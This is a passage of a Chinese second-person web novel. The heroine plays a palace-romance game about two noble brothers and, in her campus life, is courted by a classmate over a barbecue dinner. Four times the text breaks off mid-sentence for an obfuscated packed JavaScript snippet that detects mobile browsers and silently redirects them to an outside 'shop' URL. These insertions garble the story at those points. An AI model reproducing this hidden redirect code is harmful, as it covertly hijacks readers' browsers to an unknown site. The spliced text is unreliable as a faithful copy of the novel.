“方士看过洛骁后,说洛骁命格极好,可惜命里有一生死劫,若能安然度过,日后或有披甲执印,安定乱邦之机遇。若不能,则早赴酆都,万事皆空。父亲听闻后,忙询问破解之法……”洛霖露出苦涩的笑容,“后面,你也知道了。” 这段故事,你听采莲说过了。 破解之法就是找一个和洛骁八字相合的姑娘成婚,借喜冲煞。可没想到找来找去,竟找到了你的头上。 真是命运弄人。 “你爹叫你与我退婚,你同意了,是么?” “不。我没有同意,我长跪父母跟前,恳请他们不要让我和你退婚。父亲并不言语,母亲却……跪到我面前,求我救洛骁一命。” 一面是心爱的未婚妻子,一面是血浓于水的亲兄弟。 两难之下,洛霖说道:“世间女子千万,与洛骁八字相合的女子又何止小春一人,恳请父亲、母亲给我些时日,让我去找另一个八字相合的女子与洛骁成亲。” 威远侯并没有立时回应洛霖。 洛霖再度磕头,“孩儿这辈子没有求过您什么,唯有此事,恳请父亲给我一次机会。” 威远侯最终同意了,他给了洛霖三天的时间。 洛霖是满怀希冀出去的,可没想到,就在他离开的这三天时间里,威远侯假借他的名义,先是与你退婚,随后又匆匆为洛骁与你办了婚礼。 由于时间关系,这次的婚礼排场并不大,甚至可以说根本没有排场。你被侯府的人马迎进门后,大红衣裳往身上一套,在洛家的祠堂与洛骁拜天地、祖宗、高堂,这便算全了礼。 等洛霖再回侯府,一切已成定局。 尽管每局游戏并没有给出具体脉络,但经过几轮关卡下来后,你却发现了剧情的一些关联。 就像第一关中,你不明白洛霖为何会因为一句你像私塾里的教书先生,而突然态度转变。然后在第四关时,得知了原因。 第三关中,你知道了改嫁洛骁的前因,却并不知事情全貌。而那一关的任务是,要洛霖亲口对你说“我爱你”。 而“你”之所以要听到那句话,想来也是想弄明白洛霖真正的心意。 “如果当时我能再快一些赶回来,或许你就不会……”洛霖到底是落下泪来。 你替他擦去泪水,“或许,就算你回来了,也改变不了什么。” 而等到洛霖再次想要改变的时候,木已成舟。 这时,你已经是洛骁的妻子。 如果他要跟你在一起,就像洛骁说的,父母不会同意,天下人会以异样的眼光看待你,也会对侯府这桩兄弟争妻的戏码议论纷纷。 更重要的是,洛骁可能会因为和你分开,而…… 如果真到那时,岂非是洛霖亲手夺了洛骁的命? “不,都是我的错,都是我的错……”洛霖泣不成声,“当日我没有保护好你,今日我仍旧没有办法,以至让你陷入这样一段关系中。” 你的手心已经被泪水浸湿,你真不知该如何安慰他。 回去后,你细细回想,沉默良久。 月上枝头。 洛骁回来了。 “你今天去见了大哥。”洛骁道。 你叹了口气,“你在逼他。” 洛骁没有出声。 你算是想明白了,“你明明知道他那样性子的人,绝对不会同意什么兄弟共妻的事情,你自己也不会,可你还是同意了。你把那些现实里的种种困难说出,先在他心里压一块石头,令他无法立时将事情捅到侯爷、夫人那处。” “后面,你又假退一步,说同意兄弟共妻,表面上是给他一个再次和我一起的机会,实则是借此磋磨他的心,让他清楚明白的知道,不论是在明面上,还是暗地里,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127391|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和我都再无可能。最终他不得不放弃我,而这也怪不到你头上,”你顿了下,望向洛骁,“毕竟,你已经做出了最大的让步。对吗?” 洛骁道:“那你呢?既然你已知道我的意图,你又准备做什么打算?” “我的打算……至始至终,我能有自己做选择的权利吗?” 这个故事里,从来都是侯府要如何就如何,哪里有你做选择的地方。 侯府有需求的时候,你就是先与洛霖定了亲,也能三天内叫你改嫁洛骁。现在就算你余情未了,洛骁给的选择权利也不是给你,而是给了洛霖。 洛骁笃定洛霖会因无力改变现实,陷入自我怀疑、自我厌弃的漩涡中,所以他敢同意所谓的兄弟共妻。 洛骁笃定洛霖做不出违背伦理道德的事,所以他敢给时间让你和他私下相处。 至于你,你是没有多少选择余地的。 你开始怀疑是否还有继续游戏的必要。 隔日。 游戏继续。 采莲送来一个消息,“大少爷好端端的,不知什么缘故,昨夜里突然呕了好大一口血,一病不起不说,还固执的不肯让大夫来看……” 你赶去看洛霖。 洛霖病倒在床,面若金纸。 看个小说你都能看哭,何况如此真情实景的游戏。你看着洛霖突然多出的几缕白发,心里满是不忍。 “你是小孩子吗,生病了还不肯看医生。” 洛霖看你来,眼睛很快蓄满了泪。 “还是你改变不了现状,所以想怄死自己,一了百了?” 洛霖的眼泪滑下。或许此刻在他心中,他当真是个天底下最没用的人。 你叹了口气,“其实,我已经同你成过一次婚了。” 洛霖不解。 “在……梦里的时候。”其实是第一次玩游戏的时候,你用讲故事的语气缓缓说道:“那天,炮声不断,锣鼓喧天,你和喜娘还有几个丫鬟推门走了进来,喜娘递给你喜秤,你挑开我的红盖头,我一看见你,就觉得你长得很帅,我心里还想,怎么有人穿红衣服都穿得跟天仙似的。” “可是喜娘丫鬟退下后,你对我十分冷淡,我跟你说话,你也是反应平平,而且还反应平平了两次。” 洛霖终于开口,“我不会……” 你笑了笑,“后面第三次的时候,我终于找到了对付你的方法。你不理我,我就紧盯着你不放,你一害羞,我就把你扑倒在床。你也是个闷骚的,被人一扑到床上就淡定不了了。后面你反压我想更进一步的时候,你压住了我头发……” 听到这里,洛霖苍白的脸上泛起了红晕。 他可能会以为你又在跟他讲什么颜色小说,可这次他没有急着打断你,而是认真听了下去。 “你没办法,只好跟我到镜子前,帮我把头上的发钗一一拆了。我看着这些金光灿灿的发钗,问你是不是金子做的,你说是,我又问你这个能不能拿去卖。这可是金子,拿去卖的话肯定能卖很多钱。” 洛霖嘴角漾出虚弱的一个笑容。 20. 选择放弃 “好了,头发拆完了,你又没了动作,我就问你要不要帮你拆头发,你不要。我又问你要不要给你脱衣服,这回你没说要或者不要。”你眨眨眼睛,“怎么样,后面还要继续听吗?” 洛霖羞涩的垂下眼睛。 你笑着说:“你嘴上不说,手却直接扶上了我的腰,这回你倒是很热情了,把我脱得只剩一件肚兜,然后抱我到了床上……不说了,再说就要被禁了。” “小春……” 洛霖挣扎着想从床上坐起,你把他压了回去。 “很多事情不是人力可为的,对和错,有时候也不一定能分得很清楚。”你轻声说:“我以前看的小说里,男女主角大都聪明绝顶,不管身处什么境地,总有破解之法,到了故事最后,还都能成就一番事业。可现实里,到底还是普通人比较多,对不对?” “就像现在,你有你做不到的事情,我也有我完成不了的任务。可是这都没关系,事无绝对,人无完人,时间总会抹平一切。不过,幸运的是,这次我还有选择的机会。” 你俯下身抱住洛霖,而洛霖,几乎是立刻回抱了你。 洛霖抱得很紧,他有些颤抖,“小春。” 你摸摸他,“这次,你不用做选择了。因为,我做了选择。” 你选择放弃第二个支线任务。 游戏结束。 结算画面。 由于第二个支线任务失败,原先的八百金币你只得了四百,经验翻倍也只翻了一次,现在你的等级是Lv.14。 对于这个结果,你并没有很遗憾。反正怎么说都是赚了,不是么? *** 班助面试的结果出来了,和你想的一样,你没面上。 虽然早有预料,但真正得知这个结果后,你心里还是有点难过。 你问许曼婷有没有通过面试,她摇头说没有,你有点惊讶。你认为许曼婷比你好这么多,没理由会不通过的。 许曼婷倒很释然,“本来也就打算试试而已,不过就不过了,去罗马的路不止一条,加学分的方法也不止一个嘛。” “也是。” 许曼婷嘿嘿说道:“这周末有个志愿者活动,你要一起参加不?” “可以啊。”志愿时长凑满三十小时也是可以加学分的,你问:“是做什么的?” “就是期末体测记成绩的。” “好。” 听到你俩对话的陈念禾插进话来,“你们俩啊,与其做那些什么志愿活动,累得要死加个零点几分,不如找个比赛参加划算点。” 许曼婷叫苦道:“参加比赛是拿分多,但也要拿了名次才有分加啊。你看我像是能拿名次的样子么?” “你是不像。”陈念禾毫不留情吐槽。 “靠!”许曼婷一个玩具熊扔过去,“虾仁猪心是吧!” “实话实说嘛。你要觉得自己不行的话,其实可以找个大佬带带的,比如说张汶就找了他们学院的……”陈念禾话一顿,“差点忘了,春儿,你晚上要跟我一块去吃烧烤不?沈砚川也在。” 张汶是陈念禾男朋友。 你不理解,“沈砚川?” 许曼婷也问:“你刚刚不是说找人带的事情么,怎么又扯到沈砚川身上去了,不对,去吃烧烤为什么不叫我一起?你区别对待,厚此薄彼!” “说什么呢,这么热闹?”邹柠从外头进来。她刚蹲完厕所。 陈念禾翻了个白眼,“就张汶,最近瞄准了一个国家级比赛想要参加,但是他肚子里那点儿墨水压根不够看,就打起了他们学院一学霸的主意,想叫人家带带他,他好混个名次加分。” 许曼婷明白了,“那个学霸就是沈砚川?” 邹柠走到陈念禾后边儿,摸摸下巴,“这么巧啊。” 陈念禾说:“就是这么巧。” 你回想起沈砚川跟你说的话,“我上次碰见他,他跟我说他专业不好啊。” “那不能吧,张汶跟我说他说得老牛逼了,什么总分排名第一那都不说了,还年年拿奖学金评三好呢。” 你默然。 你可能明白怎么回事了。 当时你说你动漫设计的,沈砚川问你是不是画画很好,你说不好,出于安慰之下,他才跟你说他专业也不好。 怎么说呢,得知真相的你忽然心情有点复杂。 人比人,气死人啊。 陈念禾接着说:“总之呢,张汶去找沈砚川,想让他带他参加比赛,结果沈砚川不知道从哪儿知道我跟小春一个宿舍的。他就提了个条件,说要带张汶也可以,但今晚得约小春出去吃饭。” 许曼婷用胳膊肘捅了捅你,“好家伙,敢情这是醉翁之意不在酒啊。” 邹柠笑着说:“一顿饭换一个国家级比赛名次,这买卖不亏。” “是不亏。不过这事儿还得问小春意见,你要想去的话就去,不想去就不去。”陈念禾说。 你有点为难,“我要不去的话,你男朋友会不会不高兴啊?” 陈念禾手一挥,“你管他干嘛,现在他是想走后门,走不通的话就自己努力咯。” 邹柠也说:“小春啊,有时候你也别太为别人着想,现在是他有求于你,懂吧?这个忙你想帮就帮,不想帮就拉倒,没人会因为这个说你什么的。” “是啊。他要敢因为这个生气,那我也没必要继续跟他处了,趁早分的好。”陈念禾说。 “诶,我家春儿就是太贴心了,”许曼婷一把抱住你,“来让妈妈抱抱。” “走开啦。” 你推许曼婷,刚推开,她又抱住你,像牛皮糖似的。你没办法,由着她去了。 至于晚上去吃烧烤的事,你还是答应去了。 毕竟身为陈念禾舍友,你平时也没少吃张汶请的零食,这次就当做回个人情好了。 你后面想发个微信去问问沈砚川,但想到他这么迂回的想请你出去吃饭,应该是不好意思叫你知道的,你要直接这么问可能不大好,你就没问了。 吃烧烤的时间是晚上七点钟,临着出发时,许曼婷又想给你打扮,在她有动作之前,你眼疾手快先拽陈念禾跑出了宿舍。 你和陈念禾到约定地点的时候,沈砚川和张汶已经在位置坐着了。 你们一到,张汶就招呼着你俩坐下了。 张汶这回有求于人,特意让你坐到了沈砚川旁边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127392|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈砚川今天穿了身白T牛仔裤,头发蓬松,面容白净,看着很是清爽水灵。他扭头向你,笑容有些腼腆,“我们刚刚点了几样菜,你要不要去看看有没有什么想吃的,再点一些?” 你看了看陈念禾,说:“不用了,我吃什么都可以。” 陈念禾说:“要不先等菜上齐了吧,到时候要不够的话我们再点。” “好。” 这个点出来吃宵夜不算晚,吃烧烤更是早了些。人不多的时间里,老板上菜也上得很快,大概过了十来分钟,你们点的东西就都陆陆续续上齐了。 你也是这时才发现,别人说话留三分余地,沈砚川说话简直留了八分。 他说的点了几样,实际是十几样。一打生蚝,牛肉串、羊肉串、五花肉各一把,鸡翅、鸡爪、肉肠一盘,蛋烤茄子一条,干烧鱿鱼三份,各类蔬菜一份。 这些东西满满当当摆了一桌,看得你目瞪口呆。 就是这样了,沈砚川还要说:“我也不知道你们喜欢吃什么,都是随便点的。你们要有别的想吃的话,可以再叫老板烤。” 你倒吸一口凉气,“不用了……这些就已经很够了。” 陈念禾也是开了眼了,“你是把老板冰箱里有的东西都点了一遍吗?” 她转头问张汶,“这东西你们俩一块点的还是?” 张汶也是无奈,“我就点了一小部分,绝大多数都他点的。” 陈念禾向沈砚川竖起大拇指。 可以的,兄弟。 “这也还好吧……”沈砚川摸了摸鼻子,“对了,你们要喝饮料吗?我刚刚忘点了。” “不用了吧。”你看着这桌东西,没个几百都下不来,还喝饮料呢。 沈砚川却是一个起身,“还是喝点可乐吧,烧烤吃多了容易腻。” 他又到冰箱去拿了一瓶2升装的可乐来。 一桌的东西看着油花花的,吃起来却是很香,特别是烤肉,这肉应该是事先用料腌制过了,嚼进嘴的时候里头是有滋有味的。你吃过的烧烤也不少,但那些的味道大都只是停留在撒在表面孜然和辣椒面,像这样深层次的味觉感受是很少有的。 “好吃吗?”沈砚川笑问你。 你点点头,“好吃。” “这家店的烧烤可以说是学校附近最好吃的一家了。他们的食材都是新鲜的,不像别的地方,用的都是冻货。” “你是怎么知道这儿的?”你和舍友都没来过这里。 “我每到一个新地方,就喜欢搜罗附近好吃的东西。学校附近的大小饭店我差不多都吃过,哪家好吃难吃一清二楚。” 你感慨,“那你每天肯定都不用愁吃什么吧?” 沈砚川自谦,“还好。” “我就不行了。我每天跟我舍友不是愁早上吃什么,就是中午吃什么,要不就是晚上吃什么。为了解决这个问题,我们宿舍还自制了一个转盘,转到哪个吃哪个,一切听天意。” 沈砚川说:“下次你要不知道吃什么的话就来问我,我可以给你推荐。” “也行。” 你说着,忽然意识到,这坐了四个人的桌子,好像只有两个人在说话。 21. 你没想到会被人以这样的方式注视着 你又看向陈念禾。 陈念禾嘴里嚼着鸡翅,笑眯眯的跟你眨了眨眼。 张汶在旁边给陈念禾倒可乐,也没说话。 他俩似乎很默契的把时间空间都留出来给你和沈砚川了。 如果在坐双方不是都是认识的朋友的话,你真要以为这是什么相亲现场了。 你感到有些别扭,沈砚川倒是表现得很自如,他看你面前的杯子喝空了,还拎起可乐给你倒了一杯。 你道谢,为了不冷场,你努力挑起话题,“那个,你面试班助过了吗?” “过了。”沈砚川又拿了一串鸡翅给你,“你呢?” “谢谢。你别光顾着给我拿,你也吃。”你继续说:“我没过。我那天表现得不是很好。” “我也一般。我过可能就是比较走运。” 又来了。为了不让你感到尴尬,他总是习惯性的把自己说得很低。 印度电影三傻大闹宝莱坞里有句台词:你朋友不及格,你感到很糟。你朋友考第一,你感觉更糟。 可你跟沈砚川算不上朋友,晓得他的优秀虽然会让你产生轻微的羡慕嫉妒,可并不会十分影响你的心情。 你从小就不是特别出色的人,如果个个人的成功都使你心情低落,那你可能就要抑郁了。 当然,你并不是对沈砚川对你的这种特殊照顾有什么不满或者吐槽,你只是感觉有些奇特。 你知道沈砚川这些言行举止或许是出于对你的喜欢,但你并不知道他为什么会对你有这种喜欢的心情。 你们好像只见过一面,还是在操场上足球课的时候。 那时天很热,你很累,模样也没有十分出众。你只是去捡被许曼婷踢飞的球,沈砚川就突然出现了,他问你要微信。 难道……这是一见钟情? 你觉得这个想法有些好笑。 不是好笑,是好玩。 不,也不是好玩,就是……你也说不清楚了。 你沉浸在自己的思维里,一时没有说话,陈念禾便主动接起话题,“有时候幸运也是实力的一种嘛。” “别人我不知道,但沈哥能成功那绝对是靠实力的。”张汶有点拍马屁的说。 陈念禾白了他一眼,“人家就不能是又有实力又有幸运吗?” “能能能。”张汶哪儿敢驳陈念禾的话,她说什么就是什么,她指东他绝不敢往西。 烧烤吃到最后还剩了很多,丢了也是浪费,便索性都打包了,两个男生为表谦让是不要的,刚好你们宿舍还有两个嗷嗷待哺的姐妹,便都给你们带回去了。 账是沈砚川去结的,多少钱你并不知道,也不知道要不要平摊。问的话现在也不好问,你便想着说回去以后跟陈念禾商量一下。 走时,张汶明显想好人做到底,找了个理由拉陈念禾先走,留点独处的时间给你和沈砚川。 陈念禾是一点面子不给张汶,还瞪了他,“谁跟你有事了,你有事你自己走别拉着我。” 她又跟你说:“小春,咱们走回宿舍吧,刚好消消食。” 你想了想,说:“没事,你们先走吧。”你的意思是你跟沈砚川一块儿就好了。 陈念禾有点吃惊,“真的?” 你点头,“真的。” “好吧。” 既然你都这么说,陈念禾也没什么理由继续拉着你了。 陈念禾跟张汶先走了,你和沈砚川则在外面转了一转,才慢慢走回学校。 “其实……你下次可以不用这样的。” 你没头没尾的一句话,沈砚川却是听明白了,“我怕直接约你出来会被你拒绝。” “为什么?” “因为我第一次问你要微信的时候就被拒绝了。”他还记得这个,而且印象很深刻。 你回想起当时的场景,你说了什么来着? 不了,谢谢。 确实有点冷酷了。 你不由笑道:“我当时其实也没想清楚,下意识就这么说了。” “真的吗?”沈砚川有些不信,“我还以为我被讨厌了。” “没有。”你连忙说:“那是我第一次被人要微信,我没反应过来。况且,咱们加了微信之后,不也算是朋友了么。” “对,我们是朋友。但我是抱着想追你的心态跟你做朋友的,我目的可能有些不纯。” 沈砚川居然直接就说出来了,还说得一脸坦然。 你抬头看他,有些惊讶。 沈砚川眼睛像藏了星星似的,很亮,飞快瞧了你一眼,又躲开了。 他耳朵红红的,跟藏不住心事的小孩一样。 沈砚川抿了抿嘴唇,“我不想只是跟你做朋友。但在追到你之前,跟你做朋友也很好。” 现实世界里,你第一次被这样表白,一时竟不知说什么才好。 沈砚川显然也没有想现在就得到你的回复,他只是将这份心情告诉了你。他呼出一口气,“你知道吗,刚刚说那句话的时候,比我去面试班助还要紧张。” 其实你也有点小紧张,“你……为什么会喜欢我?”应该是喜欢吧。 “包括上次面试的时候,我们也才见了两次面。”你说。 沈砚川笑道:“我们不止见了两次面。” “啊?” “你还记得大一刚开学的时候,你去面试了文学社么?” “记得。你那时候见过我?” “对。” 这个文学社的面试比班助面试还要难点,也不是难吧,就是流程要多一些。 文学社面试分为初面和二面,初面通过之后,他们就会将面试通过的人聚在一起聊天游戏,然后根据游戏上的表现,再去选择最终通过面试的人。 你那时是通过了初面,但在二面的时候被刷了下来。 你对二面时的那个聚会还有些印象,却不知道当时沈砚川也在其中。 沈砚川微微笑道:“那会儿我是抱着玩玩的态度去参加面试的,初面通过之后,我本来以为这就算通过了,没想到他们告诉我说还要再面试一次。那时候我就想,这又不是在面试什么大公司,初面完了之后还要搞个二面,太形式主义了。从那儿开始,我就对文学社不大感兴趣了,但他们给我发了信息,我不好拒绝,就想着过去看看算了。我没想到会在那儿碰见你。” 初入大学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127393|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的你,是怀抱着改变自己的心态的,你想要变得更开朗一点,想要结交更多的朋友,想要和高中的自己不一样。 所以在文学社二面的那个聚会上,你一反平常的主动跟人搭话,积极参与到游戏中,你努力的让自己改变了,那个晚上你也玩得很开心,你原以为这会是你成功改变的开始,没想到却还是被刷了。 面试虽然失败了,可你想要改变的努力却落在了另一个人的眼中。 沈砚川记住了你,但那时他还没有想要追你的想法,他觉得那只是一次单方面的奇妙相遇。 直到缘分的安排,让他在大二选修的足球课上再次碰见了你。 你仍旧不知道有沈砚川这个人,但他已经在暗地里观察了你很久。 那真是一种很难以用语言形容的感觉,看着你和朋友在草地相互传球,搭肩聊天,坐地喝水,那对你而言只是平常,对他却像是打开了一扇窗子。 一扇观察的窗。 从这个窗户里,沈砚川更加了解了你,也更加加深了对你的印象。 他向人打听,知道了你的名字,专业,班级,和身边人的一些信息。 直到那次失误的传球,让他鼓起了勇气,上前正式自我介绍。 “同学,能加下你微信吗?” “对。我叫沈砚川,是xx级信息工程学院计算机系的。” 这是沈砚川想越过那扇窥视的窗,正式来到你面前,与你相识的开始。 虽然他的开始以失败告终了。 他做过很多事情,结果都是成功,唯有那一次,他被你拒绝了。 你听完,心情微微动摇。 你没想到自己会以这样一种方式被人暗暗注视着。 也许真像沈砚川所说,这是一段奇妙的相遇。 沈砚川望着你,似乎想从你口中听到什么。 你也觉得自己应该说些什么。想了想,你说:“那文学社的二面,你通过了吗?” 沈砚川:“……” 你关心的居然是这个? 沈砚川呼出一口气,挫败的,“通过了。” 你更觉得挫败,“那你现在是文学社的成员?” “没。面试通过之后,我是加入了文学社,但发现你不在,觉得没什么意思,就退了。” “好吧。” 沈砚川默了默,忽地说道:“今晚我跟你说这些,并不是立刻想要从你身上得到一个答案。我只是想要你知道我的想法,这样就够了。你千万别感觉有压力,也别听完我说的以后,就……躲着我。” 你立马说:“当然不会。” 沈砚川这才松了口气,“那,咱们还是朋友?” “当然。朋友。” 沈砚川露出笑容,“是朋友的话,我以后可以约你出来吃饭吗?” 你眨眨眼,“可以啊。” “那我可以经常找你聊天吗?” “可以啊。” “我找你聊天的次数可能会比较频繁,这样也可以吗?” “……可以。” 沈砚川放心的笑了。 他的笑有些傻气,你看着他笑,也不由笑了。 22. 姐妹闲聊 …… …… 回到宿舍后,你的三个姐妹早已经摆好小桌子,翘首以盼等着了。 你当然知道她们是什么意思。 你是宿舍里唯一一个没谈过恋爱的母单,对于你的感情生活,她们向来是很有兴趣的。 相处了两个学年,舍友什么性子你虽不能说完全了解,但大概还是知道的。 比如现在,她们都不用开口,你就知道她们想问什么了。 你无奈道:“沈砚川跟我表白了,但我们想先从朋友开始做起。” 许曼婷第一个发声,“也就是说,你们没在一起?” “对。”你点头,像是在参加一场发布会,而对面这些就是八卦记者,“下一个提问。” 邹柠举手,“请问你对他的看法是什么?” “呃……我觉得,他是个很好的人。” 接下来是陈念禾,“想先做朋友的是你,还是他?” “……是我。” 陈念禾继续发问:“沈砚川长得高又帅,还是学霸,性格也可以,作为恋爱对象是个不错的选择。请问小春小姐你没有答应他,是有其他方面的顾虑吗?” 好刁钻的问法。 你为难道:“难道……我应该答应他?” 邹柠噗嗤一笑,“当然不是。答应或者不答应,这是你的选择。我们只是好奇而已。” 你想了想,“我也不是很清楚自己到底是什么想法,我好像一直以来都是这样的。” 不管是对事,还是对人。 你好像都是被推着走的那个。 包括考大学选专业也是。 你是家里唯一一个考上大学的人,所以在高考成绩出来之后,面对学校专业的问题,并没有人能够为你解答。 你之所以选这个学校和专业,也都是出于可能能考上、或许会适合的想法,至于你真正的需求,你是没有想过的。 甚至开始,你都不知道自己能考上大学。 正是基于这种性格,你现在对沈砚川也是毫无头绪。 你甚至想,如果今晚不是沈砚川先说你们可以先是朋友,你就直接答应做他女朋友了。 “嗐,”许曼婷把你拽到位置坐下,“不清楚就不清楚嘛,关系都是慢慢处出来的,可能你们再多处点时间,你就清楚自己什么想法了呢?” “是啊是啊,感情的事都是说不准的。”邹柠也跟着宽慰你。 你笑笑,看着桌子多出的几瓶酒,问:“念禾,这是你买的?” 陈念禾点头说:“是啊,其实烧烤和酒才是绝配,不过刚刚咱们在外头,又是跟两个男生,喝酒的话不太好。这些东西拿回来的话,肯定是一边吃一边聊的,那聊天肯定要有酒配嘛,我就顺道买了几瓶回来。” 邹柠给她点了个赞,“还是禾老板深思熟虑。” “滚滚滚。” 陈念禾开了一瓶递给你,你接过喝了口,问:“对了,今晚的烧烤钱我们要不要跟沈砚川平摊?” 陈念禾哈哈笑道:“是他约你出去的,你跟他平摊什么。再说了,就算你想跟他平摊钱,他也不乐意啊。” 许曼婷抱了抱你,“傻孩子,他巴不得能天天请你吃饭呢。” 四人嘻嘻哈哈,边喝酒边吃烧烤边聊天。 气氛使然,你想起在第一个支线任务中没理清的细节,便将这个关卡以看过的一本小说为由,请你的三个好姐妹分析分析。 “……萧玉珩和方鸿渐,他们两个明明都是不能容忍对方存在的,为什么到最后,他们反而同意了女主说的三个人在一起?”你抛出问题。 你的三个姐妹先是对这个剧情一番感叹,随后由许曼婷做概括。 “现在的情况是,这个萧玉珩跟女主是青梅竹马,先在一起了,后面女主又看上了她家里的教书先生方鸿渐,背着竹马以上课为由接近这个方鸿渐,还偷偷做香囊送给他,最后还搞到一起了。然后纸包不住火,两个男人都发现了对方的存在,要女主二选一,女主不想做选择,想搞3p。” 邹柠被许曼婷的说辞逗得哈哈大笑,“又是搞到一起又是想3p的,你这话糙理不糙啊。” 许曼婷洋洋自得,“那是。” 你干咳一声,“好了,继续分析剧情。” “嗯……”邹柠思索片刻,说道:“或许这两个人就是很喜欢女主呢?知道女主哪个都放不下,又害怕女主真做选择了,自己会是被放弃的哪那个,所以干脆就都在一起好了?” “笨!太笨了!”陈念禾恨铁不成钢。 许曼婷嘟囔说:“怎么了嘛,我觉得柠柠说得挺有道理的啊。” 陈念禾给了她个脑瓜崩子,“有个屁的道理,这分明就是两个男人的权宜之计,懂吗!” “权宜之计?” 你紧问:“这是什么意思?” “你们想啊,现在他们两个人各自有什么优势?” “不知道。” “你就直说吧,别卖关子了。” “就是就是。” 陈念禾索性拿了两根插牛肉串的签子,分析说:“这个萧玉珩比方鸿渐好在哪儿呢,好在他跟女主是青梅竹马,有十几年的情分在。这感情的东西啊,虽说真到它来的时候,是不分什么先来后到的,但那毕竟也有十几年了。女主现在虽然也喜欢方鸿渐,但两人相处的时间毕竟很短,方鸿渐也怕自己在女主心里的分量不如萧玉珩。” “那方鸿渐的优势在哪儿呢,在于他是个潜力股,以后很有可能升官发财,女主她爹也愿意把宝压在他身上,让女主跟他定亲。定亲虽然不是结婚,那毕竟也是定亲啊。只要女主跟方鸿渐定亲,那俩人就是差临门一脚的夫妻关系了。萧玉珩跟女主再怎么好,到那时候也只能当个外人。” 许曼婷恍然大悟,“这就叫什么,叫势均力敌啊!” “别打岔,听我说完。”陈念禾踹她一脚,继续说。 “萧玉珩把女主和方鸿渐叫来,其实不是真的想搞3p,他就是想借这个机会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127394|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方面逼女主做选择。诶,没想到这女主也是个不按常理出牌的,一被逼就打算两个都不要两个都不选了。这俩男人为了稳定局势,只能暂且同意了这个三人行。可嘴上虽说同意了,心里想的却不是那回事。” “萧玉珩想的是,反正现在天儿也冷了,马上就来年开春了,方鸿渐在这儿的日子没剩多少了,等他一上京赶考,他就借着这段时间再跟女主磨。方鸿渐也知道自己一走,就会留下个空档给情敌,所以他必须要从老丈人那儿下手,先把跟女主的婚事定下来先。” “这定亲之后,方鸿渐就有了一层保障。等他上京赶考当了官了,到时候人设一变,从家徒四壁的穷书生变成风光无限的官人,这时候他有权也有势了,再拿这定亲信物回乡,到时候女主不嫁他嫁谁?” 陈念禾分析得头头是道,你听得连连点头,不住感慨,这游戏就该陈念禾去玩,她想到的可比你多了去了。 你又想,还好这第一个支线任务到萧玉珩和方鸿渐同意三人行就结束了,不然要真按照陈念禾说的那样进行,那你的头是真该痛了。 你由衷的祈祷,希望以后游戏不要再给你整个什么脚踏两条船的任务了,比起那些挑战伦理的刺激剧情,你还是比较喜欢一对一的做些小清新任务。 许曼婷星星眼,“一个是英俊潇洒的青梅竹马,一个是前途无限的有志青年,啧啧,两个还都对女主死心塌地,为了女主争风吃醋、勾心斗角,啧啧啧,这女主吃得也太好了吧!” 邹柠揶揄道:“干嘛,开始幻想自己就是那个女主了是吧。” “那肯定啊,难道你不想啊?” “我可不想。”邹柠满脸拒绝,“一个男人我都嫌麻烦了,还来两个。要我说,谈恋爱哪儿有游戏好玩。” “这就是你甩你前男友的理由吗?” “那不然呢。” 说来也是好笑,邹柠虽然是比你多一点恋爱经验,但那也真的只是一点。 这家伙以前也是一直单身的,后来看身边的人都陆陆续续谈恋爱了,就想着也谈一个试试什么感觉。 那会儿邹柠找了她一高中同学谈,结果没谈两个月,就以对方太黏人,严重挤占了她的游戏时间为由把人甩了。至此对什么情啊爱的敬谢不敏。 “不愧是你。”许曼婷啪啪鼓掌。 “承让承让。” “不过啊,要真让我去当这女主角,我可能还真玩不转。现在能当女主角那都是什么人啊,不是身份巨牛,就是武力值智商值爆表,再不然就是长得巨漂亮。这样的人当女主才有人看,我当女主,可能剧情就只有流水账了。这年头谁愿意看流水账呢?” 陈念禾喝了口酒,说:“那也得看受众啊,不是有句话说么,青菜萝卜各有所爱。再说了,这大鱼大肉山珍海味吃多了,有时候还就想来口咸菜萝卜呢。” 